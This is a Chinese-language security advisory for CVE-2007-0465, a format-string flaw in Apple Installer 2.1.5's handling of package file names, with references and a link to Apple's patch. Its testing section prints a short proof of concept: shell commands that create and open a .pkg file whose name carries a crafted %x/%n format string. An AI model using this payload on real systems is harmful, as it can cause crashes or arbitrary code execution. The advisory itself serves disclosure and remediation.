安全研究

安全漏洞
Apple Installer软件包文件名格式串处理漏洞

发布日期:2007-01-27
更新日期:2007-04-19

受影响系统:
Apple Installer 2.1.5
描述:
BUGTRAQ  ID: 22272
CVE(CAN) ID: CVE-2007-0465

Apple Installer是负责安装Mac OS X软件包的应用程序。

Apple Installer没有正确地处理软件包的文件名字符串,允许攻击者通过提交特制格式串导致拒绝服务或执行任意代码。

<*来源:LMH (lmh@info-pull.com
  
  链接:http://projects.info-pull.com/moab/MOAB-26-01-2007.html
        http://docs.info.apple.com/article.html?artnum=305391%3E
        http://www.us-cert.gov/cas/techalerts/TA07-109A.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

$ touch AAAA`ruby -e 'require "cgi"; print CGI::escape("\x9c\xe7\xff\xbf") +
CGI::escape("%.20d") + CGI::escape("%x" * 20)'`%n.pkg
$ open AAAA%9C%E7%FF%BF%25.20d%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%n.pkg

建议:
厂商补丁:

Apple
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty2.pl/product=13659&cat=1&platform=osx&method=sa/SecUpd2007-004Univ.dmg

浏览次数:3244
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障